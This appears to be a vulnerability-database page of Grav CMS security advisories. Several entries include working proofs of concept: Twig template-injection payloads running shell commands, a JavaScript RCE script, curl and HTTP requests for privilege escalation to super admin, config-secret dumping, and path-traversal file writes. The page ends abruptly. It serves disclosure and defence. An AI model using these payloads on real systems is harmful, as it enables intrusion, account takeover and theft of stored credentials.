See how getgrav compares to other vendors in security performance
Grav versions >= 1.7.0 and before 2.0.9 contain a remote code execution vulnerability. FlexDirectory::dynamicDataField() resolves blueprint data-@: directives by calling calluserfuncarray() on attacker-influenced input, validating only that the target is callable (iscallable()) without restricting dangerous functions such as exec, system, passthru, or shellexec. Because FlexDirectory registers this handler for every Flex directory, it bypasses the validation added to Blueprint::dynamicData() in 2.0.7 (GHSA-fj2p-qj2f-74v5). Any authenticated user with create or update permission on any Flex-based directory (Flex Users, Flex Pages, Flex Objects, or custom Flex types) can execute arbitrary shell commands on the server.
The Grav API plugin (getgrav/grav-plugin-api) before 1.0.6 contains an authorization bypass: API keys can be created with a restricted scopes array, but the ApiKeyAuthenticator class never reads or enforces these scopes. It loads and returns the owning user's full account object, so a key created with limited scopes (e.g. read-only) can perform any write, delete, or administrative operation the owning user is authorized for. Fixed in 1.0.6.
Grav is a file-based Web platform. Prior to 2.0.0, an authenticated admin.super user can crash Grav or fill the disk by uploading a specially crafted ZIP archive through the Direct Install tool because Installer::unZip calls ZipArchive::extractTo without limits on uncompressed size, entry count, or directory depth. This issue is fixed in version 2.0.0.
The Grav API plugin (getgrav/grav-plugin-api) 1.0.0 contains an unrestricted file upload vulnerability in the avatar upload endpoint (/api/v1/users/user/avatar). The endpoint validates only the client-declared MIME type (getClientMediaType) beginning with 'image/' and does not inspect the actual file content or restrict the resulting extension, allowing an authenticated user to store arbitrary content — including PHP code, SVG with embedded JavaScript, and polyglot payloads — under user/accounts/avatars/ with predictable filenames. Direct HTTP access to the stored files is blocked by .htaccess (returns 403), but the files persist on disk and could lead to remote code execution or stored XSS in the presence of a path traversal flaw or server misconfiguration. Fixed in 1.0.1.
Grav before 1.6.30 contains a cross-site scripting vulnerability in the Admin plugin page editor default security configuration. Privileged users with page editing capabilities can inject malicious scripts to execute arbitrary code and install malicious plugins for system access.
Summary The fix for SSTI using |map, |filter and |reduce twigs implemented in the commit 71bbed1 introduces bypass of the denylist due to incorrect return value from isDangerousFunction(), which allows to execute the payload prepending double backslash (\\)
Details The isDangerousFunction() check in version 1.7.42 and onwards retuns false value instead of true when the \ symbol is found in the $name.
php ... if (strpos($name, "\\") !== false) { return false; }
if (inarray($name, $commandExecutionFunctions)) { return true; } ... Based on the code where the function is used, it is expected that any dangerous condition would return true php / @param Environment $env @param array $array @param callable|string $arrow @return array|CallbackFilterIterator @throws RuntimeError / function mapFunc(Environment $env, $array, $arrow) { if (!$arrow instanceof \Closure && !isstring($arrow) || Utils::isDangerousFunction($arrow)) { throw new RuntimeError('Twig |map("' . $arrow . '") is not allowed.'); } when |map('\system') is used in the malicious payload, the single backslash is dropped prior to reaching strpos($name, '\\') check, thus $name variable already has no backslash, and the command is blacklisted because it reaches the if (inarray($name, $commandExecutionFunctions)) { validation step.
However if |map('\\system') is used (i.e. double backslash), then the strpos($name, "\\") !== false takes effect, and isDangerousFunction() returns false , in which case the RuntimeError is not generated, and blacklist is bypassed leading to code execution.
Exploit Conditions This vulnerability can be exploited if the attacker has access to:
1. an Administrator account, or 2. a non-administrator, user account that has Admin panel access and Create/Update page permissions
Steps to reproduce
1. Log in to Grav Admin using an administrator account. 2. Navigate to Accounts > Add, and ensure that the following permissions are assigned when creating a new low-privileged user: - Login to Admin - Allowed - Page Update - Allowed 3. Log out of Grav Admin 4. Login using the account created in step 2. 5. Choose Pages -> Home 6. Click the Advanced tab and select the checkbox beside Twig to ensure that Twig processing is enabled for the modified webpage. 7. Under the Content tab, insert the following payload within the editor: {{ ['id'] | map('\\system') | join() }} 8. Click the Preview button. Observe that the output of the id shell command is returned in the preview.
Mitigation
diff diff --git a/system/src/Grav/Common/Utils.php b/system/src/Grav/Common/Utils.php index 2f121bbe3..7b267cd0f 100644 --- a/system/src/Grav/Common/Utils.php +++ b/system/src/Grav/Common/Utils.php @@ -2069,7 +2069,7 @@ abstract class Utils } if (strpos($name, "\\") !== false) { - return false; + return true; } if (inarray($name, $commandExecutionFunctions)) {
Grav is a flat-file content management system. Prior to version 1.7.42, the patch for CVE-2022-2073, a server-side template injection vulnerability in Grav leveraging the default filter() function, did not block other built-in functions exposed by Twig's Core Extension that could be used to invoke arbitrary unsafe functions, thereby allowing for remote code execution. A patch in version 1.74.2 overrides the built-in Twig map() and reduce() filter functions in system/src/Grav/Common/Twig/Extension/GravExtension.php to validate the argument passed to the filter in $arrow.
Grav is a flat-file content management system. In versions 1.7.42 and prior, the "/forgotpassword" page has a self-reflected cross-site scripting vulnerability that can be exploited by injecting a script into the "email" parameter of the request. While this vulnerability can potentially allow an attacker to execute arbitrary code on the user's browser, the impact is limited as it requires user interaction to trigger the vulnerability. As of time of publication, a patch is not available. Server-side validation should be implemented to prevent this vulnerability.
Summary I found an RCE(Remote Code Execution) by SSTI in the admin screen.
Details Remote Code Execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges.
PoC 1. Log in to the administrator screen and access the edit screen of the default page "Typography". (http://127.0.0.1:8000/admin/pages/typography) 2. Open the browser's console screen and execute the following JavaScript code to confirm that an arbitrary command (id) is being executed. js (async () => { const nonce = document.querySelector("input[name=admin-nonce]").value; const id = document.querySelector("input[name=uniqueformid]").value;
const payload = "{{['id']|map('system')|join}}"; // SSTI Payload
const params = new URLSearchParams(); params.append("task", "save"); params.append("data[header][title]", "poc"); params.append("data[content]", payload); params.append("data[folder]", "poc"); params.append("data[route]", ""); params.append("data[name]", "default"); params.append("data[header][bodyclasses]", ""); params.append("data[ordering]", 1); params.append("data[order]", ""); params.append("toggleabledata[header][process]", "on"); params.append("data[header][process][twig]", 1); params.append("data[header][orderby]", ""); params.append("data[header][ordermanual]", ""); params.append("data[blueprint", ""); params.append("data[lang]", ""); params.append("postentriessave", "edit"); params.append("form-name", "flex-pages"); params.append("uniqueformid", id); params.append("admin-nonce", nonce);
await fetch("http://127.0.0.1:8000/admin/pages/typography", { method: "POST", headers: { "content-type": "application/x-www-form-urlencoded", }, body: params, });
window.open("http://127.0.0.1:8000/admin/pages/poc/:preview"); })();
Execution Result - Payload: {{['id']|map('system')|join}} sh uid=501(<username>) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(appserverusr),80(admin),81(appserveradm),98(lpadmin),701(com.apple.sharepoint.group.1),33(appstore),100(lpoperator),204(developer),250(analyticsusers),395(com.apple.accessftp),398(com.apple.accessscreensharing),399(com.apple.accessssh),400(com.apple.accessremoteae) uid=501(<username>) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(appserverusr),80(admin),81(appserveradm),98(lpadmin),701(com.apple.sharepoint.group.1),33(appstore),100(lpoperator),204(developer),250(analyticsusers),395(com.apple.accessftp),398(com.apple.accessscreensharing),399(com.apple.accessssh),400(com.apple.accessremoteae) - Payload: {{['cat /etc/passwd']|map('system')|join}} sh # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # See the opendirectoryd(8) man page for additional information about # Open Directory. ## nobody::-2:-2:Unprivileged User:/var/empty:/usr/bin/false root::0:0:System Administrator:/var/root:/bin/sh daemon::1:1:System Services:/var/root:/usr/bin/false uucp::4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico taskgated::13:13:Task Gate Daemon:/var/empty:/usr/bin/false networkd::24:24:Network Services:/var/networkd:/usr/bin/false installassistant::25:25:Install Assistant:/var/empty:/usr/bin/false lp::26:26:Printing Services:/var/spool/cups:/usr/bin/false postfix::27:27:Postfix Mail Server:/var/spool/postfix:/usr/bin/false scsd::31:31:Service Configuration Service:/var/empty:/usr/bin/false ces::32:32:Certificate Enrollment Service:/var/empty:/usr/bin/false appstore::33:33:Mac App Store Service:/var/db/appstore:/usr/bin/false mcxalr::54:54:MCX AppLaunch:/var/empty:/usr/bin/false appleevents::55:55:AppleEvents Daemon:/var/empty:/usr/bin/false geod::56:56:Geo Services Daemon:/var/db/geod:/usr/bin/false devdocs::59:59:Developer Documentation:/var/empty:/usr/bin/false sandbox::60:60:Seatbelt:/var/empty:/usr/bin/false mdnsresponder::65:65:mDNSResponder:/var/empty:/usr/bin/false ard::67:67:Apple Remote Desktop:/var/empty:/usr/bin/false www::70:70:World Wide Web Server:/Library/WebServer:/usr/bin/false eppc::71:71:Apple Events User:/var/empty:/usr/bin/false cvs::72:72:CVS Server:/var/empty:/usr/bin/false svn::73:73:SVN Server:/var/empty:/usr/bin/false mysql::74:74:MySQL Server:/var/empty:/usr/bin/false sshd::75:75:sshd Privilege separation:/var/empty:/usr/bin/false qtss::76:76:QuickTime Streaming Server:/var/empty:/usr/bin/false cyrus::77:6:Cyrus Administrator:/var/imap:/usr/bin/false mailman::78:78:Mailman List Server:/var/empty:/usr/bin/false appserver::79:79:Application Server:/var/empty:/usr/bin/false clamav::82:82:ClamAV Daemon:/var/virusmails:/usr/bin/false amavisd::83:83:AMaViS Daemon:/var/virusmails:/usr/bin/false jabber::84:84:Jabber XMPP Server:/var/empty:/usr/bin/false appowner::87:87:Application Owner:/var/empty:/usr/bin/false windowserver::88:88:WindowServer:/var/empty:/usr/bin/false spotlight::89:89:Spotlight:/var/empty:/usr/bin/false tokend::91:91:Token Daemon:/var/empty:/usr/bin/false securityagent::92:92:SecurityAgent:/var/db/securityagent:/usr/bin/false calendar::93:93:Calendar:/var/empty:/usr/bin/false teamsserver::94:94:TeamsServer:/var/teamsserver:/usr/bin/false updatesharing::95:-2:Update Sharing:/var/empty:/usr/bin/false installer::96:-2:Installer:/var/empty:/usr/bin/false atsserver::97:97:ATS Server:/var/empty:/usr/bin/false ftp::98:-2:FTP Daemon:/var/empty:/usr/bin/false unknown::99:99:Unknown User:/var/empty:/usr/bin/false softwareupdate::200:200:Software Update Service:/var/db/softwareupdate:/usr/bin/false coreaudiod::202:202:Core Audio Daemon:/var/empty:/usr/bin/false screensaver::203:203:Screensaver:/var/empty:/usr/bin/false locationd::205:205:Location Daemon:/var/db/locationd:/usr/bin/false trustevaluationagent::208:208:Trust Evaluation Agent:/var/empty:/usr/bin/false timezone::210:210:AutoTimeZoneDaemon:/var/empty:/usr/bin/false lda::211:211:Local Delivery Agent:/var/empty:/usr/bin/false cvmsroot::212:212:CVMS Root:/var/empty:/usr/bin/false usbmuxd::213:213:iPhone OS Device Helper:/var/db/lockdown:/usr/bin/false dovecot::214:6:Dovecot Administrator:/var/empty:/usr/bin/false dpaudio::215:215:DP Audio:/var/empty:/usr/bin/false postgres::216:216:PostgreSQL Server:/var/empty:/usr/bin/false krbtgt::217:-2:Kerberos Ticket Granting Ticket:/var/empty:/usr/bin/false kadminadmin::218:-2:Kerberos Admin Service:/var/empty:/usr/bin/false kadminchangepw::219:-2:Kerberos Change Password Service:/var/empty:/usr/bin/false devicemgr::220:220:Device Management Server:/var/empty:/usr/bin/false webauthserver::221:221:Web Auth Server:/var/empty:/usr/bin/false netbios::222:222:NetBIOS:/var/empty:/usr/bin/false warmd::224:224:Warm Daemon:/var/empty:/usr/bin/false dovenull::227:227:Dovecot Authentication:/var/empty:/usr/bin/false netstatistics::228:228:Network Statistics Daemon:/var/empty:/usr/bin/false avbdeviced::229:-2:Ethernet AVB Device Daemon:/var/empty:/usr/bin/false krbkrbtgt::230:-2:Open Directory Kerberos Ticket Granting Ticket:/var/empty:/usr/bin/false krbkadmin::231:-2:Open Directory Kerberos Admin Service:/var/empty:/usr/bin/false krbchangepw::232:-2:Open Directory Kerberos Change Password Service:/var/empty:/usr/bin/false krbkerberos::233:-2:Open Directory Kerberos:/var/empty:/usr/bin/false krbanonymous::234:-2:Open Directory Kerberos Anonymous:/var/empty:/usr/bin/false assetcache::235:235:Asset Cache Service:/var/empty:/usr/bin/false coremediaiod::236:236:Core Media IO Daemon:/var/empty:/usr/bin/false launchservicesd::239:239:launchservicesd:/var/empty:/usr/bin/false iconservices::240:240:IconServices:/var/empty:/usr/bin/false distnote::241:241:DistNote:/var/empty:/usr/bin/false nsurlsessiond::242:242:NSURLSession Daemon:/var/db/nsurlsessiond:/usr/bin/false displaypolicyd::244:244:Display Policy Daemon:/var/empty:/usr/bin/false astris::245:245:Astris Services:/var/db/astris:/usr/bin/false krbfast::246:-2:Kerberos FAST Account:/var/empty:/usr/bin/false gamecontrollerd::247:247:Game Controller Daemon:/var/empty:/usr/bin/false mbsetupuser::248:248:Setup User:/var/setup:/bin/bash ondemand::249:249:On Demand Resource Daemon:/var/db/ondemand:/usr/bin/false xserverdocs::251:251:macOS Server Documents Service:/var/empty:/usr/bin/false wwwproxy::252:252:WWW Proxy:/var/empty:/usr/bin/false mobileasset::253:253:MobileAsset User:/var/ma:/usr/bin/false findmydevice::254:254:Find My Device Daemon:/var/db/findmydevice:/usr/bin/false datadetectors::257:257:DataDetectors:/var/db/datadetectors:/usr/bin/false captiveagent::258:258:captiveagent:/var/empty:/usr/bin/false ctkd::259:259:ctkd Account:/var/empty:/usr/bin/false applepay::260:260:applepay Account:/var/db/applepay:/usr/bin/false hidd::261:261:HID Service User:/var/db/hidd:/usr/bin/false cmiodalassistants::262:262:CoreMedia IO Assistants User:/var/db/cmiodalassistants:/usr/bin/false analyticsd::263:263:Analytics Daemon:/var/db/analyticsd:/usr/bin/false fpsd::265:265:FPS Daemon:/var/db/fpsd:/usr/bin/false timed::266:266:Time Sync Daemon:/var/db/timed:/usr/bin/false nearbyd::268:268:Proximity and Ranging Daemon:/var/db/nearbyd:/usr/bin/false reportmemoryexception::269:269:ReportMemoryException:/var/db/reportmemoryexception:/usr/bin/false driverkit::270:270:DriverKit:/var/empty:/usr/bin/false diskimagesiod::271:271:DiskImages IO Daemon:/var/db/diskimagesiod:/usr/bin/false logd::272:272:Log Daemon:/var/db/diagnostics:/usr/bin/false appinstalld::273:273:App Install Daemon:/var/db/appinstalld:/usr/bin/false installcoordinationd::274:274:Install Coordination Daemon:/var/db/installcoordinationd:/usr/bin/false demod::275:275:Demo Daemon:/var/empty:/usr/bin/false rmd::277:277:Remote Management Daemon:/var/db/rmd:/usr/bin/false accessoryupdater::278:278:Accessory Update Daemon:/var/db/accessoryupdater:/usr/bin/false knowledgegraphd::279:279:Knowledge Graph Daemon:/var/db/knowledgegraphd:/usr/bin/false coreml::280:280:CoreML Services:/var/db/coreml:/usr/bin/false sntpd::281:281:SNTP Server Daemon:/var/empty:/usr/bin/false trustd::282:282:trustd:/var/empty:/usr/bin/false mmaintenanced::283:283:mmaintenanced:/var/db/mmaintenanced:/usr/bin/false darwindaemon::284:284:Darwin Daemon:/var/db/darwindaemon:/usr/bin/false notificationproxy::285:285:Notification Proxy:/var/empty:/usr/bin/false avphidbridge::288:288:Apple Virtual Platform HID Bridge:/var/empty:/usr/bin/false biome::289:289:Biome:/var/db/biome:/usr/bin/false backgroundassets::291:291:Background Assets Service:/var/empty:/usr/bin/false oahd::441:441:OAH Daemon:/var/empty:/usr/bin/false oahd::441:441:OAH Daemon:/var/empty:/usr/bin/false
PoC Video - PoC Video
Impact Remote Command Execution (RCE) is possible.
Occurrences - https://github.com/getgrav/grav/blob/develop/system/src/Grav/Common/Twig/Extension/GravExtension.php#L174
References - PortSwigger: Server-side template injection - HackTricks: SSTI (Server Side Template Injection)
Grav is a file-based Web platform. Prior to version 1.7.42, the denylist introduced in commit 9d6a2d to prevent dangerous functions from being executed via injection of malicious templates was insufficient and could be easily subverted in multiple ways -- (1) using unsafe functions that are not banned, (2) using capitalised callable names, and (3) using fully-qualified names for referencing callables. Consequently, a low privileged attacker with login access to Grav Admin panel and page creation/update permissions is able to inject malicious templates to obtain remote code execution. A patch in version 1.7.42 improves the denylist.
Grav is a file-based Web platform. Prior to version 1.7.42, there is a logic flaw in the GravExtension.filterFilter() function whereby validation against a denylist of unsafe functions is only performed when the argument passed to filter is a string. However, passing an array as a callable argument allows the validation check to be skipped. Consequently, a low privileged attacker with login access to Grav Admin panel and page creation/update permissions is able to inject malicious templates to obtain remote code execution. The vulnerability can be found in the GravExtension.filterFilter() function declared in /system/src/Grav/Common/Twig/Extension/GravExtension.php. Version 1.7.42 contains a patch for this issue. End users should also ensure that twig.undefinedfunctions and twig.undefinedfilters properties in /path/to/webroot/system/config/system.yaml configuration file are set to false to disallow Twig from treating undefined filters/functions as PHP functions and executing them.
grav is vulnerable to Reliance on Cookies without Validation and Integrity Checking
grav-plugin-admin is vulnerable to Improper Restriction of Rendered UI Layers or Frames
Summary
An insecure direct object reference and logic flaw in the Grav API plugin (UsersController::update) allows any authenticated user with basic API access (api.access) to modify their own permission configuration. An attacker can exploit this to escalate their privileges to Super Administrator (admin.super and api.super), leading to full system compromise and potential RCE.
Details
The vulnerability is located in user/plugins/api/classes/Api/Controllers/UsersController.php within the update method.
The API allows users to update their own profiles if they possess the basic api.access permission:
php // UsersController.php -> update() $isSelf = $currentUser->username === $username; if (!$isSelf) { $this->requirePermission($request, 'api.users.write'); } else { // Self-edit only requires api.access $this->requirePermission($request, 'api.access'); }
However, when filtering the fields that are allowed to be updated via a PATCH request, the access field (which defines the user's role and permissions) is indiscriminately included in the $allowedFields whitelist for all users:
php // Partial update - only update provided fields $allowedFields = ['email', 'fullname', 'title', 'state', 'language', 'contenteditor', 'access', 'twofaenabled']; foreach ($allowedFields as $field) { if (arraykeyexists($field, $body)) { $user->set($field, $body[$field]); } }
Because there is no secondary check to verify if the user attempting to modify the access field is already an administrator, any low-privileged user can overwrite their own access object with a malicious payload granting themselves super: true.
PoC
1. Prerequisites: You need a low-privileged user account (eg. user1) that possesses the basic api.access permission.
2. Obtain JWT: Authenticate to the API to obtain your accesstoken:
bash curl -X POST http://<target>/api/v1/auth/token \ -H "Content-Type: application/json" \ -d '{"username":"user1","password":"yourpassword"}'
3. Exploit: Send a PATCH request to the user update endpoint.
bash curl -X PATCH http://<target>/api/v1/users/user1 \ -H "X-API-Token: <youraccesstoken>" \ -H "Content-Type: application/json" \ -d "{\"access\":{\"admin\":{\"login\":true,\"super\":true},\"api\":{\"access\":true,\"super\":true},\"site\":{\"login\":true}}}"
4. Verification: Log in to the Grav Admin panel using the user credentials. You will now have full Super Administrator privileges.
Impact
This is a vertical Privilege Escalation vulnerability. Any user with baseline API access can elevate themselves to Super Admin. Once Super Admin privileges are obtained, the attacker takes complete control over the CMS. They can modify content, alter configurations, upload malicious plugins, or edit Twig templates outside of the sandbox to achieve RCE on the server.
Summary
In Grav 2.0.0-beta.2, a low-privileged authenticated API user with api.media.write can abuse /api/v1/blueprint-upload to write an arbitrary YAML file into user/accounts/, then log in as the newly created account with api.super privileges.
This results in full administrative compromise of the Grav API.
Details
The vulnerability is located in the API plugin's blueprint upload flow:
- user/plugins/api/classes/Api/ApiRouter.php:261 - user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:32-45 - user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:102-114 - user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:271-308 - user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:407-417 - user/plugins/api/classes/Api/Controllers/AuthController.php:41-55
The issue exists because /api/v1/blueprint-upload accepts caller-controlled destination and scope values and uses them to resolve the final filesystem write target.
When the request uses:
- destination=self@: - scope=users/anything
The server resolves the write target to the shared account directory:
text user/accounts/
The upload handler then writes the supplied file directly into that directory and does not block YAML account files. Because Grav accepts account YAML files and supports a plaintext password: field on first login, an attacker can create a fully functional administrator account with api.super.
The required attacker privilege is low:
yaml access: api: access: true media: write: true
PoC
Step 1: Authenticate as the low-privileged API user
http POST /api/v1/auth/token HTTP/1.1 Host: 127.0.0.1:8123 Content-Type: application/json Connection: close
{"username":"uploader","password":"Upload123A"}
Extract:
text UPLOADERTOKEN = <accesstoken from response>
Attachment:
<img width="1480" height="825" alt="login-uploader" src="https://github.com/user-attachments/assets/5aeda840-4a37-4365-8e46-caec88066541" />
Step 2: Upload a malicious account YAML file
http POST /api/v1/blueprint-upload HTTP/1.1 Host: 127.0.0.1:8123 X-API-Token: <UPLOADERTOKEN> Content-Type: multipart/form-data; boundary=----CodexBoundaryF01 Connection: close
------CodexBoundaryF01 Content-Disposition: form-data; name="destination"
self@: ------CodexBoundaryF01 Content-Disposition: form-data; name="scope"
users/anything ------CodexBoundaryF01 Content-Disposition: form-data; name="file"; filename="pwned.yaml" Content-Type: text/yaml
email: attacker@example.com fullname: attacker title: Site Administrator state: enabled password: Passw0rd!123 access: site: login: true api: super: true ------CodexBoundaryF01--
Expected result:
json { "data": [ { "name": "pwned.yaml", "path": "user/accounts/pwned.yaml" } ] }
Attachment:
<img width="1484" height="797" alt="upload" src="https://github.com/user-attachments/assets/0b24c03f-cac5-4b4d-840c-52ac0840969f" />
Step 3: Log in as the newly created account
http POST /api/v1/auth/token HTTP/1.1 Host: 127.0.0.1:8123 Content-Type: application/json Connection: close
{"username":"pwned","password":"Passw0rd!123"}
Expected result:
json { "data": { "user": { "username": "pwned", "superadmin": true } } }
Attachment:
<img width="1494" height="830" alt="pwned-login" src="https://github.com/user-attachments/assets/7a1ab7fc-d3fb-4077-9b61-09cd947241fe" />
Step 4: Verify privileged API access
http GET /api/v1/system/info HTTP/1.1 Host: 127.0.0.1:8123 X-API-Token: <PWNEDTOKEN> Connection: close
Expected result:
The request succeeds and returns system-level information.
Attachment:
<img width="1480" height="831" alt="system-info" src="https://github.com/user-attachments/assets/31677d61-3dbd-4ea6-9fbe-80799a628cc2" />
Impact
This is an authenticated vertical privilege-escalation vulnerability.
Any API user with basic media upload capability can escalate directly to a full API super administrator by planting a new account YAML file. Once api.super access is obtained, the attacker gains full control over the CMS management API and can:
- modify content - alter configuration - manage users - install or update plugins/themes - access system-level administration features
In a real deployment, this level of control is sufficient for complete CMS compromise and may be chained into server-side code execution depending on enabled plugins, writable template paths, or package-management workflow.
This issue was reproduced locally:
- the upload response returned user/accounts/pwned.yaml - logging in as pwned succeeded - the new account had superadmin = true - privileged endpoints such as /api/v1/system/info were accessible
Summary
The Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required.
Details
The Twig sandbox allow-list in system/config/security.yaml explicitly permits Config::toArray() for the Grav\Common\Config\Config class:
yaml - class: 'Grav\Common\Config\Config' methods: 'get, toarray, value, default, offsetget, offsetexists'
The config object — which holds the full merged configuration tree including every key under plugins. — is injected into every sandboxed render in system/src/Grav/Common/Twig/Twig.php (line 292):
php $twigvars = [..., 'config' => $config, ...]
Any editor with admin.pages can save a page with process.twig: true in the frontmatter and the following payload in the body:
{{ config.toArray()|jsonencode|raw }}
When the page is rendered, the full config tree is dumped as JSON in the HTML, including all plugin secrets stored under user/config/plugins/.yaml.
PoC
bash Step 1 — Get login nonce NONCE=$(curl -sc /tmp/cookies.txt http://TARGET/admin \ | grep -oP '(?<=name="login-nonce" value=")[^"]+')
Step 2 — Login as editor (no admin.super) curl -sc /tmp/cookies.txt -b /tmp/cookies.txt \ -X POST http://TARGET/admin \ --data-urlencode "data[username]=EDITORUSER" \ --data-urlencode "data[password]=EDITORPASS" \ --data-urlencode "task=login" \ --data-urlencode "login-nonce=${NONCE}" -o /dev/null
Step 3 — Get admin nonce ADMINNONCE=$(curl -s -b /tmp/cookies.txt http://TARGET/admin/pages \ | grep -oP '(?<=admin-nonce" value=")[^"]+' | head -1)
Step 4 — Save page with process.twig:true and payload curl -s -b /tmp/cookies.txt \ -X POST http://TARGET/admin/pages/poc \ --data-urlencode "admin-nonce=${ADMINNONCE}" \ --data-urlencode "task=save" \ --data-urlencode "data[frontmatter]=title: poc process: twig: true published: true" \ --data-urlencode "data[content]={{ config.toArray()|jsonencode|raw }}" \ --data-urlencode "data[folder]=poc" \ --data-urlencode "data[route]=/" \ --data-urlencode "data[name]=default" -o /dev/null
Step 5 — Retrieve secrets from rendered page curl -s http://TARGET/poc | grep -o '"password":"[^"]"'
Impact
Any user with the editor role (admin.pages) can exfiltrate all plugin credentials stored in the site configuration without any administrator privileges. Affected secrets include SMTP passwords, AWS access/secret keys, OAuth client secrets, reCAPTCHA keys, and any API token stored in plugin YAML config. Each extracted credential independently compromises the connected service.
Summary A business logic vulnerability in the Grav Admin Panel allows a low-privileged user (with only user creation permissions) to overwrite existing accounts, including the primary administrator. By creating a new user with a username that already exists, the system updates the existing account's metadata and permissions instead of rejecting the request. This leads to a Denial of Service (DoS) on administrative functions and Privilege De-escalation of the root account.
Details The vulnerability stems from an insecure "Create or Update" logic within the user management module. When the admin-addon handles a user creation request, it does not strictly validate whether the username is already taken by a higher-privileged account. Instead of returning a "409 Conflict" or a validation error, the application logic proceeds to overwrite the existing user configuration file (e.g., user/accounts/root0.yaml) with the new, lower-privileged data provided by the attacker. Because the attacker cannot assign higher permissions to themselves (due to existing fixes), the result is that the targeted account (the original Admin/Root) has its access levels wiped or replaced by the attacker's input, effectively locking the real administrator out of the system.
PoC 1. Log in as a Super User (e.g., root0) and create a low-privileged user (e.g., adminuser). 2. Assign adminuser the following specific permissions: admin.login admin.users.list admin.users.read admin.users.create 3. Log out and log back in as adminuser. 4. Navigate to User Accounts -> Add. 5. Fill in the form with the following details: Username: root0 (The exact username of the Super User) Email: anything@grav.f Fullname: Fake Root0 7. Click Save. 8. Observe that the account is successfully "created". 9. The original administrative permissions are gone, and the account is now restricted.
PoC video https://github.com/user-attachments/assets/047cb44e-0279-402b-b4fb-12bf5d427a5e
Impact This is a Privilege De-escalation and Account Disruption vulnerability. Who is impacted: Any Grav installation where a non-admin user is granted permission to create other users. Consequence: An attacker can effectively disable all administrative accounts on the platform, leading to a complete loss of management control over the CMS.
---
Maintainer note — fix applied (2026-04-24)
Fixed in Grav core on the 2.0 branch: commit d904efc33 — will ship in 2.0.0-beta.2.
What changed: UserObject::save already had a uniqueness guard (commit 19c2f8da7, November 2025) that blocks the PoC. This release tightens that guard:
1. strpos($key, '@@') → strcontains($key, '@@'). The previous form was falsy when the transient-key marker was at position 0 (e.g. @@hash), silently bypassing the check. strcontains returns a proper boolean. 2. The instanceof FileStorage gate was dropped so the uniqueness check runs for any FlexStorageInterface backend — not just the default file-per-user YAML one.
A low-privileged user with admin.users.create can no longer disrupt a super-admin account by submitting that admin's username through the "add user" form.
Files: - system/src/Grav/Common/Flex/Types/Users/UserObject.php. - tests/unit/Grav/Common/Security/UserOverwriteSecurityTest.php — 3 tests pinning the PoC, the @@-prefix edge case, and pass-through for free usernames.
Vulnerability Report: Grav CMS Unauthenticated Path Traversal & Arbitrary File Write
[ZERO-DAY] Unauthenticated Path Traversal leading to Arbitrary Directory Creation and Configuration Injection
Summary
Grav CMS (v1.7.49.5 and latest development source) is vulnerable to a Zero-Day Path Traversal vulnerability within the FormFlash core component. By manipulating the sessionid (passed as form-flash-id in POST requests), an unauthenticated attacker can traverse the filesystem to create arbitrary directories and write an index.yaml file containing attacker-controlled data.
This vulnerability can lead to unauthorized modification of application behavior, potential data integrity issues, and service disruption in production environments.
Affected Component
- Versions: Confirmed in Grav v1.7.49.5 (latest stable) and the latest development source (March 2026). - Class: Grav\Framework\Form\FormFlash - Method: construct() / getTmpDir() - Parameter: sessionid (Mapped to form-flash-id in POST requests)
Vulnerability Details
The FormFlash class is used to persist form data across redirects. It constructs a temporary storage path using the provided sessionid. The path construction logic in the latest source:
php $folder = $config['folder'] ?? ($this->sessionId ? 'tmp://forms/' . $this->sessionId : ''); $this->folder = $folder && $locator->isStream($folder) ? $locator->findResource($folder, true, true) : $folder;
Lack of sanitization on the sessionId (the raw session identifier) allows the use of ../ sequences. When findResource resolves the stream, it allows escape into any writable directory within the webserver's scope (typically user/config/, cache/, logs/, and tmp/).
Affected Versions & Zero-Day Status
- Tested Version: v1.7.49.5 (Latest Stable Release as of Nov 2025). - Development Branch Status: Vulnerable. The latest source code in the GitHub develop branch (March 2026) remains unpatched. - Affected Range: All Grav CMS versions utilizing the FormFlash component (v1.7.x and potentially older v1.6.x versions). - CVE Status: Zero-Day (Non-Registered). Extensive research confirmed no existing CVE addresses this specific core FormFlash session-based traversal.
Steps to Reproduce
1. Identify any page containing a Grav Form (e.g., /contact). 2. Intercept the POST request during form submission. 3. Modify the form-flash-id parameter to include a traversal sequence targeting a writable directory (e.g., ../../user/config/proofdir). 4. Submit the request. 5. Observe that a new directory (poc/) and file (index.yaml) have been created at the traversed path.
Request Example
http POST /contact HTTP/1.1 Host: target.grav.cms Content-Type: application/x-www-form-urlencoded
form-name-=contact&form-flash-id=../../user/config/proofdir&form-data[name]=Attack&form-data[message]=Payload
Response / Result
- HTTP/1.1 302 Found (Standard redirect) - Filesystem Modification: - Directory Created: /var/www/html/user/config/proofdir/poc/ - File Created: /var/www/html/user/config/proofdir/poc/index.yaml
Proof of Concept Evidence (Before/After)
Before Exploitation
- Status: Directory does not exist. - Evidence:
bash $ ls -la /var/www/html/user/config/proofdir/ ls: cannot access '/var/www/html/user/config/proofdir/': No such file or directory
After Exploitation
- Status: Arbitrary directory and index.yaml created. - Evidence:
bash $ ls -la /var/www/html/user/config/proofdir/poc/index.yaml -rw-rw-r-- 1 www-data www-data 158 Mar 23 22:15 /var/www/html/user/config/proofdir/poc/index.yaml $ cat /var/www/html/user/config/proofdir/poc/index.yaml form: '' id: '' uniqueid: poc ... data: pocstatus: confirmed
Impact
- Clarified Cross-User Attack: By controlling the session identifier, an attacker can overwrite or interfere with other users temporary form data, breaking session isolation. - Configuration Injection: Writing index.yaml into plugin/theme configuration subdirectories can alter application behavior or inject malicious settings. - Data Integrity: Unauthorized modification of configuration subfolders can lead to widespread site corruption or logical bypasses. - Denial of Service (DoS): Recursive directory creation enables attackers to exhaust disk space or inodes (inode exhaustion).
Attack Requirements
- Authentication: None (Unauthenticated) - Configuration: Standard Grav installation with at least one form-enabled page (e.g., Contact, Login, Registration)
Exploitability Assessment
